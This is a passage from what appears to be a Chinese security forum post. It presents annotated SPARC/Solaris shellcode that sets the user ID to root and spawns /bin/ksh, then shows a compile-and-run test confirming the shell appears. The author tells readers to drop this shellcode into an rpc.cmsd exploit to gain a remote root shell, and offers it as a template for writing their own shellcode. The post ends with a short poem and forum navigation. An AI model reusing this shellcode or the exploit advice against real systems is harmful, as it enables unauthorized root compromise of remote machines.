%l7 */ "\xae\x15\xe3\x68" /* or %l7, 0x368, %l7 ! /ksh */ "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 ! addr of /bin/ksh in o0 */ "\x92\x03\xa0\x0c" /* add %sp, 0xc, %o1 ! addr of ptr->/bin/ksh o1 */ "\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 ! 0 in o2 (envp) */ "\x9c\x03\xa0\x14" /* add %sp, 0x14, %sp ! (0x14==20) give space */ "\xec\x3b\xbf\xec" /* std %l6, [ %sp + -20 ] ! store /bin/ksh */ "\xc0\x23\xbf\xf4" /* clr [ %sp + -12 ] ! null term /bin/ksh */ "\xdc\x23\xbf\xf8" /* st %sp, [ %sp + -8 ] ! make ptr->/bin/ksh */ "\xc0\x23\xbf\xfc" /* clr [ %sp + -4 ] ! null term ptr array (argv) */ "\x82\x10\x20\x3b" /* mov 0x3b, %g1 ! 0x3b==59==SYS_execve in g1 */ "\x91\xd0\x20\x08" /* ta 8 ! execve(&/bin/ksh,&(ptr->/bin/ksh),0) */ "\x90\x1b\xc0\x0f" /* xor %o7, %o7, %o0 ! 0 in o0 */ "\x82\x10\x20\x01" /* mov 1, %g1 ! 1==SYS_exit in g1 */ "\x91\xd0\x20\x08"; /* ta 8 ! _exit(0) */ 我们来验证一下这个shellcode是否成功提供了/bin/ksh: -------------------------------------------------------------------------- /* kshcode.c */ int main () { __asm__ (" and %g0, -1, %o0 ! 0 in o0 mov 0x8d, %g1 ! 0x8d==141==SYS_seteuid in g1 ta 8 ! seteuid(0); and %g0, -1, %o0 ! 0 in o0 mov 0x17, %g1 ! 0x17==23==SYS_setuid in g1 ta 8 ! setuid(0); sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 ! /bin sethi 0xbdadc, %l7 or %l7, 0x368, %l7 ! /ksh and %sp, %sp, %o0 ! addr of /bin/ksh in o0 add %sp, 0xc, %o1 ! addr of ptr->/bin/ksh o1 xor %o2, %o2, %o2 ! 0 in o2 (envp) add %sp, 0x14, %sp ! (0x14==20) give space std %l6, [ %sp + -20 ] ! store /bin/ksh clr [ %sp + -12 ] ! null term /bin/ksh st %sp, [ %sp + -8 ] ! make ptr->/bin/ksh clr [ %sp + -4 ] ! null term ptr array (argv) mov 0x3b, %g1 ! 0x3b==59==SYS_execve in g1 ta 8 ! execve(&/bin/ksh,&(ptr->/bin/ksh),0) xor %o7, %o7, %o0 ! 0 in o0 mov 1, %g1 ! 1==SYS_exit in g1 ta 8 ! _exit(0) "); } /* end of main */ -------------------------------------------------------------------------- [scz@ /space/staff/scz/src]> cat > kshcode.c [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o kshcode kshcode.c [scz@ /space/staff/scz/src]> ./kshcode $ ps PID TTY TIME CMD 9820 pts/7 0:01 bash 10488 pts/7 0:00 ksh <-- -- -- 已经成功提供了/bin/ksh $ exit [scz@ /space/staff/scz/src]> 所以,你只要用这个ksh_code替换rpc.cmsd exploit code中的shellcode,就可以远 程溢出取得root shell了。这个ksh_code的注释相当完善,是写自己shellcode时很 好的参考 后记: 前次写RPC系列的时候有朋友问rpc.cmsd exploit code为什么不能取得 root shell,这下该明白了吧。感谢可恶的tt不断催命,再次向aleph1 致敬。 参考: aleph1 << smashing stack for fun and profit >> rpc.cmsd exploit code -- 我问飘逝的风:来迟了? 风感慨:是的,他们已经宣战。 我问苏醒的大地:还有希望么? 大地揉了揉眼睛:还有,还有无数代的少年。 我问长空中的英魂:你们相信? 英魂带着笑意离去:相信,希望还在。 ※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124] -------------------------------------------------------------------------------- 分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇